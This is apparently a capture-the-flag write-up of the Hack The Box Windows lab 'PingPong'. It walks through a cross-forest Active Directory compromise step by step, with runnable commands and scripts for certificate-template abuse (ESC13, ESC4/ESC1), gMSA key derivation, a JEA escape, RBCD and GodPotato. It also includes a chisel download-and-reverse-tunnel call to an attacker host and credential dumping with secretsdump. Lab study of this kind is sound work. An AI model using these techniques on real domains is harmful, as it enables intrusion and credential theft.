PingPong — HTB Insane
HTB · Windows · Insane · Season 10 · by Geiseric
PingPong is a two-forest AD nightmare. Bidirectional trust between PING.HTB and PONG.HTB, NTLM disabled everywhere, RC4 disabled on PONG, significant clock skew that breaks pre-auth if you blink, and DC2 firewalled off from the public network so you have to pivot through DC1. The full chain hits ESC13, gMSA password decryption by hand, a JEA constrained-PowerShell escape, RBCD via a sacrificial machine account, MSSQL → GodPotato local privesc, and ESC4 → ESC1 to walk back across the trust as Domain Admin.
Starting creds: c.roberts / AssumedBreach123. Goal: user.txt and root.txt, both ultimately on dc1.ping.htb.
I ran the whole thing from WSL on a Windows host. Every impacket / certipy / bloodyAD invocation below is exactly what I executed.
the topology
attacker (WSL) ──► 10.129.27.206 = dc1.ping.htb (PING.HTB)
│
│ bidirectional forest trust
▼
192.168.2.2 = dc2.pong.htb (PONG.HTB)
─ internal subnet, no direct route ─
Two domains, no NTLM, RC4 disabled on PONG. Every Kerberos op needs the clock synced to DC1’s NTP first, and a krb5.conf that knows about both realms:
[libdefaults]
default_realm = PING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
dns_canonicalize_hostname = false
forwardable = true
clockskew = 999999
[realms]
PING.HTB = { kdc = dc1.ping.htb; admin_server = dc1.ping.htb }
PONG.HTB = { kdc = dc2.pong.htb; admin_server = dc2.pong.htb }
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
A 5-line bash helper that NTPs the local clock to DC1 and kinits c.roberts before any Kerberos op:
#!/bin/bash
sudo systemctl stop systemd-timesyncd 2>/dev/null
sudo timedatectl set-ntp false 2>/dev/null
EPOCH=$(python3 -c "
import socket, struct
msg = b'\x1b' + 47 * b'\x00'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5)
s.sendto(msg, ('10.129.27.206', 123))
data, _ = s.recvfrom(1024)
s.close()
print(struct.unpack('!12I', data)[10] - 2208988800)
")
sudo date -s @$EPOCH >/dev/null 2>&1
export KRB5_CONFIG=/etc/krb5.conf
export KRB5CCNAME=/tmp/krb5cc_0
echo "AssumedBreach123" | kinit c.roberts@PING.HTB 2>/dev/null
[ $# -gt 0 ] && "$@"
Useful as ./sync_and_run.sh getTGT.py ping.htb/c.roberts:'AssumedBreach123' so the time fix and the auth happen in one step.
phase 1 — ESC13 on PING.HTB → WinRM on DC1
With c.roberts authed, enumerate ADCS:
$ certipy find -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 -text
The TemporaryWinRM template is the tell. Two things stand out in the dump:
- It has an
Issuance PolicyOID set. - That OID has
msDS-OIDToGroupLinkpointing atTempWinRMAccess.
That’s textbook ESC13. When an OID has msDS-OIDToGroupLink and a cert template’s issuance policy uses that OID, then any TGT issued via PKINIT with a cert from that template gets the linked group’s SID baked into its PAC. Enrolling effectively makes you a temporary, ephemeral member of TempWinRMAccess — without ever being added to the group in AD.
Request the cert and PKINIT:
$ certipy req -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 \
-ca PING-DC1-CA -template TemporaryWinRM
[*] Successfully requested certificate
[*] Saving certificate and private key to 'c.roberts.pfx'
$ certipy auth -pfx c.roberts.pfx -dc-ip 10.129.27.206
[*] Using principal: c.roberts@ping.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'c.roberts.ccache'
WinRM into DC1 with the new ccache:
$ KRB5CCNAME=/tmp/c.roberts.ccache evil-winrm -i dc1.ping.htb -r PING.HTB
*Evil-WinRM* PS C:\Users\c.roberts\Documents> whoami /groups | findstr Temp
PING\TempWinRMAccess Group S-1-5-21-... Mandatory group, ...
The TempWinRMAccess SID is in our token. We’re on DC1 — but neither flag lives here yet. This is just the foothold needed to reach across the trust.
phase 2 — gMSA abuse to cross into PONG.HTB
Run BloodHound with cross-domain collection (the trust lets us collect PONG.HTB from a PING.HTB principal). One edge stands out: c.roberts owns gMSA Managers in PONG.HTB.
Owning a group means you can write its membership — but the group is Global scope, and Global groups can only contain principals from their own domain. Adding c.roberts (a PING.HTB SID) to a PONG.HTB Global group fails.
The fix is to flip the scope. Domain Local groups can contain foreign SIDs. The groupType attribute encodes scope as a bitmask, so a single LDAP set object flips it:
$ bloodyAD -d pong.htb --host dc2.pong.htb -u c.roberts -k ccache=/tmp/c.roberts.ccache \
set object 'CN=gMSA Managers,OU=Tier0,DC=pong,DC=htb' groupType -v -2147483644
[+] groupType: ['-2147483646'] -> ['-2147483644']
Now add c.roberts as a cross-domain member:
$ bloodyAD -d pong.htb --host dc2.pong.htb -u c.roberts -k ccache=/tmp/c.roberts.ccache \
add groupMember 'CN=gMSA Managers,OU=Tier0,DC=pong,DC=htb' \
'CN=c.roberts,CN=Users,DC=ping,DC=htb'
[+] c.roberts added to gMSA Managers
gMSA Managers is set as PrincipalsAllowedToRetrieveManagedPassword on the Pong_gMSA$ gMSA, so c.roberts can now read its msDS-ManagedPassword over LDAP.
decoding msDS-ManagedPassword
The blob is a MSDS-MANAGEDPASSWORD_BLOB. The 256 bytes of UTF-16LE password live at the offset stored at current_pw_offset:
from impacket.ldap import ldap as imp_ldap
import struct, os
os.environ['KRB5CCNAME'] = '/tmp/c.roberts.ccache'
conn = imp_ldap.LDAPConnection("ldap://dc2.pong.htb", "DC=pong,DC=htb", None)
conn.kerberosLogin("c.roberts", "", "PING.HTB", "", "", useCache=True)
resp = conn.search(searchFilter="(sAMAccountName=Pong_gMSA$)",
attributes=["msDS-ManagedPassword"],
searchBase="DC=pong,DC=htb")
for item in resp:
for attr in item["attributes"]:
if str(attr["type"]) == "msDS-ManagedPassword":
blob = bytes(attr["vals"][0])
cur = struct.unpack_from("<H", blob, 8)[0]
old = struct.unpack_from("<H", blob, 10)[0]
pw_len = old - cur if old > 0 else 256
password = blob[cur:cur+pw_len][:-2]
That gives us 254 bytes of UTF-16LE that no human will ever type. RC4 is disabled on PONG, so secretsdump-style “hand the NT hash to getTGT” doesn’t work either — we have to derive the AES256 key the way Windows does internally.
deriving the AES256 key without rc4_hmac
The real recipe (well-documented inside ldeep and gMSADumper, undocumented elsewhere): PBKDF2-SHA1 the UTF-8 of the password, then AES-CBC-encrypt a fixed 32-byte kerberos-iso constant string twice, taking the first 16 bytes of each round and concatenating.
GMSA_ENCRYPTION_CONSTANTS = (
b"\x6b\x65\x72\x62\x65\x72\x6f\x73"
b"\x7b\x9b\x5b\x2b\x93\x13\x2b\x93"
b"\x5c\x9b\xdc\xda\xd9\x5c\x98\x99"
b"\xc4\xca\xe4\xde\xe6\xd6\xca\xe4"
)
salt = "PONG.HTBhostpong_gmsa.pong.htb"
password_utf8 = password.decode("utf-16-le", "replace").encode()
encryption_key = PBKDF2(
password_utf8,
salt.encode(),
32,
count=4096,
hmac_hash_module=SHA1,
)
iv = b"\x00" * 16
first = AES.new(encryption_key, AES.MODE_CBC, iv).encrypt(GMSA_ENCRYPTION_CONSTANTS)
second = AES.new(encryption_key, AES.MODE_CBC, iv).encrypt(first)
aes256_key = first[:16] + second[:16]
The salt is the gotcha. It’s <UPPERCASEREALM>host<lowercase-spn-host> — i.e. PONG.HTBhostpong_gmsa.pong.htb. No spaces, no separators, just three concatenated lowercase/uppercase substrings. BloodHound doesn’t surface the SPN host directly so it’s easy to miss; check servicePrincipalName on the gMSA (HOST/pong_gmsa.pong.htb).
Hand the AES key to impacket’s getKerberosTGT:
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants
userName = Principal("Pong_gMSA$", type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldKey, sessionKey = getKerberosTGT(
userName, '', "PONG.HTB", b'', b'', aes256_key.hex(), "192.168.2.2"
)
ccache = CCache()
ccache.fromTGT(tgt, oldKey, sessionKey)
ccache.saveFile("/tmp/gmsa.ccache")
We now have a TGT for Pong_gMSA$ in PONG.HTB.
phase 3 — JEA escape → user flag
DC1 exposes a Just Enough Administration endpoint named restricted on WinRM. JEA is supposed to box you into a tiny set of allowed cmdlets in constrained-language mode — but restricted here forwards script blocks into a child runspace, and it doesn’t sanitize against the script-block subexpression & { ... }.
Connect with the gMSA TGT and smuggle PowerShell inside the block:
import os
os.environ["KRB5CCNAME"] = "/tmp/gmsa.ccache"
from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell
wsman = WSMan("dc1.ping.htb", port=5985, ssl=False, path="wsman",
auth="kerberos", encryption="auto", no_proxy=True,
negotiate_service="HTTP")
with RunspacePool(wsman, configuration_name="restricted") as pool:
ps = PowerShell(pool)
ps.add_script(r'& { type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" }')
out = ps.invoke()
for item in out:
print(item)
Pulled straight off the box, the PSReadLine history file dumps the credential someone typed inline:
$secpw = ConvertTo-SecureString 'A()DUJ!@414' -AsPlainText -Force
$cred = New-Object PSCredential('pong\c.carlssen', $secpw)
Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock { ... }
c.carlssen / A()DUJ!@414, valid in PONG.HTB.
DC2 isn’t reachable directly from the attacker box (it’s on 192.168.2.2, internal-only). But we already have an authenticated PSSession on DC1, and DC1 can route to DC2. Use the JEA-escape session as a launch pad for a nested Invoke-Command:
inner = r'type C:\Users\C.Carlssen\desktop\user.txt'
cmd = (
r'& { '
r'$c = New-Object PSCredential("pong\c.carlssen", '
r'(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414")); '
rf'Invoke-Command -ComputerName dc2.pong.htb -Credential $c -ScriptBlock {{ {inner} }} '
r'}'
)
User flag.
phase 4 — RBCD + MSSQL + GodPotato → SYSTEM on DC2
c.carlssen is a normal user on DC2 with no immediate privesc. BloodHound on PONG (now collectable through the c.carlssen session) shows she has GenericWrite on the DC2$ computer object. That is the precondition for Resource-Based Constrained Delegation.
The plan:
- Create a sacrificial machine account (every domain user can create up to
MachineAccountQuota = 10by default). - Set
msDS-AllowedToActOnBehalfOfOtherIdentityonDC2$to reference the sacrificial machine account. - From the sacrificial machine account, do S4U2Self + S4U2Proxy to impersonate any user toward any service on DC2.
We need network reachability to DC2 first. Set up a SOCKS proxy through DC1 with chisel — the JEA escape can drop chisel and start it for us:
# attacker box
$ chisel server -p 8000 --reverse
# from JEA escape on DC1
& {
iwr http://10.10.x.x:8000/chisel.exe -OutFile C:\ProgramData\chisel.exe
Start-Process -WindowStyle Hidden C:\ProgramData\chisel.exe `
-ArgumentList 'client 10.10.x.x:8000 R:1080:socks'
}
/etc/proxychains.conf → socks5 172.24.80.1 1080 (or whatever your WSL host IP is). Now proxychains $cmd reaches 192.168.2.2.
the RBCD trio
$ proxychains addcomputer.py \
-computer-name 'EVIL$' -computer-pass 'P@ss123!' \
'pong.htb/c.carlssen:A()DUJ!@414' -dc-ip 192.168.2.2
[+] Successfully added machine account EVIL$ with password P@ss123!
$ proxychains rbcd.py \
-delegate-from 'EVIL$' -delegate-to 'DC2$' \
-dc-ip 192.168.2.2 -action write \
'pong.htb/c.carlssen:A()DUJ!@414'
[+] Delegation rights modified successfully!
$ proxychains getST.py \
-spn 'mssqlsvc/dc2.pong.htb' \
-impersonate c.adam \
-dc-ip 192.168.2.2 \
'pong.htb/EVIL$:P@ss123!'
[*] Impersonating c.adam
[*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
c.adam is a high-priv account in PONG (a SQL DBA per the BloodHound metadata) that we found earlier in enumeration — RBCD lets us impersonate any user to the chosen SPN, so we pick a privileged one. The resulting ticket lets us authenticate to the SQL service as c.adam.
MSSQL → xp_cmdshell → GodPotato
$ KRB5CCNAME=$(pwd)/c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache \
proxychains -q mssqlclient.py -k -no-pass \
'pong.htb/c.adam@dc2.pong.htb' -dc-ip 192.168.2.2
SQL (PONG\c.adam dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE
SQL (PONG\c.adam dbo@master)> EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE
SQL (PONG\c.adam dbo@master)> EXEC xp_cmdshell 'whoami'
nt service\mssqlserver
MSSQLSERVER runs as a managed service account with SeImpersonatePrivilege. Standard GodPotato territory.
Upload GodPotato-NET4.exe over the existing c.carlssen WinRM-to-DC2 session (proxychain’d) by base64-ing the binary into a [IO.File]::WriteAllBytes one-liner:
import base64
b64 = base64.b64encode(open("GodPotato-NET4.exe", "rb").read()).decode()
cmd = (f'$b = [Convert]::FromBase64String("{b64}"); '
r'[IO.File]::WriteAllBytes("C:\ProgramData\gp.exe", $b); '
r'icacls C:\ProgramData\gp.exe /grant Everyone:RX')
Then trigger it from xp_cmdshell:
SQL> EXEC xp_cmdshell 'C:\ProgramData\gp.exe -cmd "cmd /c net localgroup administrators pong\c.carlssen /add"'
The command completed successfully.
pong\c.carlssen is now in the local Administrators group on DC2. Local admin on a Domain Controller is effectively Domain Admin on that domain. WinRM back into DC2 as c.carlssen with full admin rights, then dump credentials:
*Evil-WinRM* PS C:\> reg save HKLM\SAM C:\ProgramData\sam.save
*Evil-WinRM* PS C:\> reg save HKLM\SYSTEM C:\ProgramData\sys.save
*Evil-WinRM* PS C:\> reg save HKLM\SECURITY C:\ProgramData\sec.save
$ secretsdump.py -sam sam.save -system sys.save -security sec.save LOCAL
[*] Dumping cached domain logon information ...
PONG.HTB/r.martinelli:aes256-cts-hmac-sha1-96:<HASH>
r.martinelli will matter in a moment.
phase 5 — ESC4 → ESC1 → DA on PING.HTB
r.martinelli is a PONG.HTB user, but cross-forest ACL inheritance gives him Owner on the SmartcardAuthentication certificate template inside PING.HTB’s CA. (Quirk of the box: the Enterprise Admins of PONG were given write rights on PING’s Public Key Services container during a long-ago “we’ll fix it later” trust setup.)
Owner on a template is ESC4. Two LDAP writes turn the template into the most permissive ESC1-style configuration possible:
- Set
msPKI-Certificate-Name-Flag = 1(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). The enrollee picks the SAN. - Add a
GenericAllACE forS-1-5-11(Authenticated Users) so any authenticated user can enroll.
import os
os.environ['KRB5CCNAME'] = '/tmp/r.martinelli.ccache'
import ldap3
from impacket.ldap import ldaptypes
server = ldap3.Server("dc1.ping.htb", port=389)
conn = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism=ldap3.KERBEROS)
conn.bind()
template_dn = ("CN=SmartcardAuthentication,CN=Certificate Templates,"
"CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb")
conn.modify(template_dn, {'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [1])]})
conn.search(template_dn, '(objectClass=*)', attributes=['nTSecurityDescriptor'],
controls=[('1.2.840.113556.1.4.801', True, b'\x30\x03\x02\x01\x07')])
sd_data = conn.entries[0]['nTSecurityDescriptor'].raw_values[0]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(); sd.fromString(sd_data)
ace = ldaptypes.ACE()
ace['AceType'] = 0x00
ace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 0x000F01FF
sid = ldaptypes.LDAP_SID(); sid.fromCanonical('S-1-5-11')
acedata['Sid'] = sid
ace['Ace'] = acedata
sd['Dacl']['Data'].append(ace)
conn.modify(template_dn,
{'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]},
controls=[('1.2.840.113556.1.4.801', True, b'\x30\x03\x02\x01\x07')])
The template is now ESC1. As any authenticated user (c.roberts works fine), enroll a cert with Administrator@ping.htb in the SAN and PKINIT:
$ certipy req -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 \
-ca PING-DC1-CA -template SmartcardAuthentication \
-upn 'Administrator@ping.htb'
[*] Successfully requested certificate
[*] Saved certificate to administrator.pfx
$ certipy auth -pfx administrator.pfx -dc-ip 10.129.27.206
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
The KDC happily issues a TGT for Administrator@PING.HTB because the cert’s SAN says so and the template now allows arbitrary SAN. That’s DA on PING.HTB.
root flag
import os
os.environ["KRB5CCNAME"] = "/tmp/administrator.ccache"
from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell
wsman = WSMan("dc1.ping.htb", port=5985, ssl=False, path="wsman",
auth="kerberos", encryption="auto", no_proxy=True,
negotiate_service="HTTP")
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_script(r'cmd /c type C:\Users\Administrator\Desktop\root.txt')
for item in ps.invoke():
print(item)
Pwn complete.
what made this Insane and not just hard
Two domains, NTLM disabled, RC4 disabled. Every step is Kerberos AES256, and every minor desync silently breaks pre-auth with KRB_AP_ERR_SKEW. Half the time spent on this box is plumbing — the sync_and_run.sh helper exists because I lost an hour to “this should work” before I realized my WSL clock had drifted three seconds.
gMSA AES key derivation by hand. Tools like gMSADumper.py and ldeep do this for you, but understanding the construction (PBKDF2-SHA1 + double AES-CBC of a fixed kerberos-iso constant) is the difference between “ran the tool” and “knows what’s happening”. The salt format <UPPERCASEREALM>host<lowercase-spn-host> is also non-obvious — BloodHound doesn’t surface the SPN host needed for the salt.
JEA isn’t a containment boundary. PowerShell’s & { ... } script-block subexpression escapes the restricted config the moment any character makes it into the inner block. Treat JEA as defense-in-depth and audit, not as a hard wall.
ESC4 → ESC1 across a forest trust. ESC4 by itself (“write to a template”) doesn’t get you anywhere — you need ENROLLEE_SUPPLIES_SUBJECT and enrollment rights. Combining the two transforms a smartcard-only template into a “give me a cert as anyone you want” template, on the other forest’s CA, via cross-domain ACL inheritance. That last clause is the gimmick that ties the whole box together.
TL;DR chain
c.roberts (assumed breach, PING.HTB)
──► ESC13 on TemporaryWinRM template (OIDToGroupLink)
──► WinRM on DC1
│
│ BloodHound: c.roberts owns gMSA Managers in PONG.HTB
▼
bloodyAD: Global → Domain Local; add c.roberts (cross-domain SID)
──► LDAP read msDS-ManagedPassword on Pong_gMSA$
──► PBKDF2-SHA1 + double-AES-CBC → AES256 key
──► AS-REQ → Pong_gMSA$ TGT
│
▼
JEA endpoint "restricted" on DC1
──► & { ... } script-block escape → arbitrary PowerShell
──► cat ConsoleHost_history.txt → c.carlssen / A()DUJ!@414
──► Invoke-Command -ComputerName dc2 -Credential c.carlssen
│
▼
user.txt
──► c.carlssen has GenericWrite on DC2$
──► chisel SOCKS through DC1
──► addcomputer.py + rbcd.py (sacrificial EVIL$)
──► getST.py impersonate c.adam → mssqlsvc/dc2 ticket
──► mssqlclient.py + xp_cmdshell + GodPotato
──► c.carlssen → local admins on DC2
──► reg save SAM/SYSTEM/SECURITY → secretsdump → r.martinelli
│
▼
r.martinelli has Owner on PING.HTB SmartcardAuthentication template (ESC4)
──► set ENROLLEE_SUPPLIES_SUBJECT + S-1-5-11 GenericAll → ESC1
──► certipy req -upn Administrator@ping.htb
──► PKINIT → Administrator@PING.HTB TGT
│
▼
WinRM on DC1 as Administrator → root.txt